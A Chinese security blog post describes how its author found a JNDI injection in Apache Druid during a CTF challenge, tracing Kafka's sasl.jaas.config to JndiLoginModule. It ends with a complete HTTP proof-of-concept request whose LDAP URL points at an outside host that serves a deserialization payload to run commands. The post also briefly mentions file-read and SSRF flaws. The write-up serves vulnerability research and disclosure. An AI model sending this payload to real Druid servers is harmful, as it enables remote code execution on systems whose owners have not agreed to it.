qiqing's Blog.

apache druid 漏洞挖掘

字数统计: 1.9k阅读时长: 7 min
2024/01/30 Share

前言

某日,华为大佬突然说apache druid有0day,并且发送了一个github的链接长亭出的一道CTF题目,下载github的项目,打开发现,是一个docker,里面只有一个druid,所以,该CTF真的就是挖出druid的0day,google搜索了下Apache Druid的docs,文档介绍说Apache Druid 是一个实时分析数据库,专为对大型数据集进行快速切片和切块分析, 大多数情况下,Druid 支持实时摄取、快速查询性能和高正常运行时间很重要的用例.数据库这个关键字,当时我就猜想,是JDBC的JNDI注入,其实,这个注入早就被发现了,我没关注过,不知道druid修复了.后面,大佬提醒我是kafka的JNDI,有了方向,就开始尝试挖掘

尝试挖掘

光速下载了Apache Druid的源码,搜索了一下lookup,没有!心里凉了半截,源码没有,那就只能从Resource开始阅读源码,一边debug一边看,启动ctf的docker,先黑盒看看ctf的druid有啥功能没,结果ctf的druid没几个功能正常,这个按下不表,为了调试方便,我又装了一个本机的druid,同时还装了一个kafka做测试的数据源,启动本机的druid,黑盒看了它的功能,因为没接触过大数据相关的知识,我只能浅显的理解为druid可以从一些数据源中获取数据,然后整合保存成一份tables,后续从tables中查询数据,在我的理解中,能发起JNDI请求的操作,明显是获取数据的时候,因为后续都是druid自身实现的功能,如果是查询阶段发起的JNDI注入,那在源码里应该能搜索到,并且,在文档中,也没搜不到能发起JNDI的功能,那按照挖掘的顺序,肯定优先挖掘获取数据的时候.

druid的Server端是guice+jersey,不是普通的ssm架构,通过黑盒的抓包信息,发现URL为/druid/indexer/v1/sampler?for=connect,搜索该URL对应的Resource

image-20230129165349-d2t7wlf

image.png

在SamplerResource打下断点,查看数据流到Resource前有无经过高危操作,看不出来,从功能来讲,能有高危操作,就在拦截器和过滤器中,跟进filter,同样未发现有高危操作

image.png

只能跟进sample方法,简单浏览和debug走了一下,简单概括就是初始化kafkaConsumer,通过KafkaRecordSupplier操作kafkaConsumer和kafka Server链接,后续将数据打包处理之后返回给前端,通过不停的来回debug,大致了解到代码运行到这里时,数据已经返回了,后续的代码是处理数据的阶段,有大段的算法,暂时放弃,并且,该阶段主要由自身的代码实现,如果有JNDI,在之前的代码搜索中就能发现,主要精力放到初始化kafkaConsumer开始审计,一直到发起链接为止,开始的思路是链接kafka和从kafka读取数据的时候,是否会出问题?先从输入源开始追踪,之后来来回回的debug过程中,感觉非常的难熬,时不时就会跳到另一个线程中,不停的有干扰的断点出现,很多lambda 表达式和链式调用给我阅读体验非常差!

image.png

开始从初始化kafkaConsumer进行跟踪,进入kafka client之后,明显代码就好阅读很多了,从debug过程中可以发现config可以由外部控制,传入的bootstrap.servers由我们传入,第一时间关注这个servers的传参

image.png

跟踪servers一直往下走,进入ClientUtils.parseAndValidateAddresses方法,其实看到返回值就能明白,kafka client与server端的链接是采用socket直接链接,没有调用JNDI的地方,心里非常凉,觉得已经没希望了

image.png

这个时候,又不甘心,心里想可能追错了,回去docker的durid又看了一遍,docker的durid非常奇怪,其他的功能都是502,只有设置数据源可以访问,如果这是CTF的提示,其实也很明显了,就是设置数据源有问题,其中kafka有两个设置数据源的地方,之前我只看了第一个,后面又看到了第二个设置kafka链接的选项,并且,进入之后,发现一个非常有趣的参数sasl.jaas.config

image.png

image.png

sasl是一种java默认提供的认证机制,肯定支持LDAP的方式进行认证,google一下相关的文档,woc,瞬间觉得看到希望了,回去跟踪kafka client的sasl认证,从docs继续搜索kafka的sasl认证,发现sasl存在多种认证,并且支持ldap,稳啦!?并没有!

image.png

image.png

sasl有多种认证方式,从docs中可以发现传入不同的sasl.jaas.config,他走的认证也不同,当我查看ldap的认证的时候,发现传入的参数竟然和plain一样,赶紧去看看org.apache.kafka.common.serurity.plain.PlainLoginModule,一眼看完,没有高危操作,只能跟踪一下,这个类怎么调用

image.png

image.png

重新进入断点,在ClientUtils.createChannelBuilder(config, this.time, logContext);方法中获取了sasl的相关参数,跟进

image.png

最后跟进create方法,这个方法会根据serurityProtocol选择不同的ChannelBuilder(如果显示在前端的不是SASL,那估计还要花更多时间来挖掘,也是运气哈哈),config传入3个参数,根据config的参数走SASL分支,代码也比较清晰明了,主要获取构造SaslChannelBuilder的参数,其中,最主要的是jaasContext,跟进JaasContext.loadClientContext(configs)方法

image.png

从docs中可以发现主要是sasl.jaas.config控制了认证登陆的逻辑,并且,传入的参数是一个类!跟进到load,此时我传入的参数是javax.naming.initialContext,成功设置到jaasConfig,说明在设置属性时,不会对传入的参数进行校验,往下跟进sasl的认证过程

image.png

image.png

之后就是所以传入JaasContext的方法都跟踪一遍,后面的代码对JaasContext的调用没啥分支,可以一路跟到发起认证的调用点

image.png

image.png

image.png

image.png

image.png

image.png

一直跟进到javax.security.auth.login.LoginContext#invoke方法,中途没有检查javax.naming.initialContext的合法性,但是invoke方法里对method的invoke有明显的要求,先invoke initialize方法,之后再invoke login方法,一般这种写法都是继承某一个统一的接口

image.png

回到org.apache.kafka.common.serurity.plain.PlainLoginModule,他继承自LoginModule,查看LoginModule的继承者

image.png

bingo!发现一个JNDI,根据上面的数据流跟踪,全程是没有校验认证的Module是否合法

image.png

image.png

构造PoC

根据JndiLoginModule的代码构造一个JNDI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 172.16.119.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 835
Origin: http://172.16.119.1:8888
Connection: close
Referer: http://172.16.119.1:8888/unified-console.html
Cookie: _ga=GA1.1.1507312734.1665393894

{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"security.protocol":"SASL_SSL","sasl.mechanism":"PLAIN","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://1.117.103.234:1389/Deserialization/CommonsCollections1/Command/whoami\" group.provider.url=\"d\" storePass=\"true\";","bootstrap.servers":"localhost:9092"},"topic":"kttm","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

image.png

其他漏洞

中途还挖了2个黑盒就能发现洞

任意文件读取

image.png

SSRF

该漏洞druid同样已知晓,但是未修复

image.png

CATALOG
  1. 1. 前言
  2. 2. 尝试挖掘
    1. 2.0.1. 构造PoC
  • 3. 其他漏洞
    1. 3.0.1. 任意文件读取
    2. 3.0.2. SSRF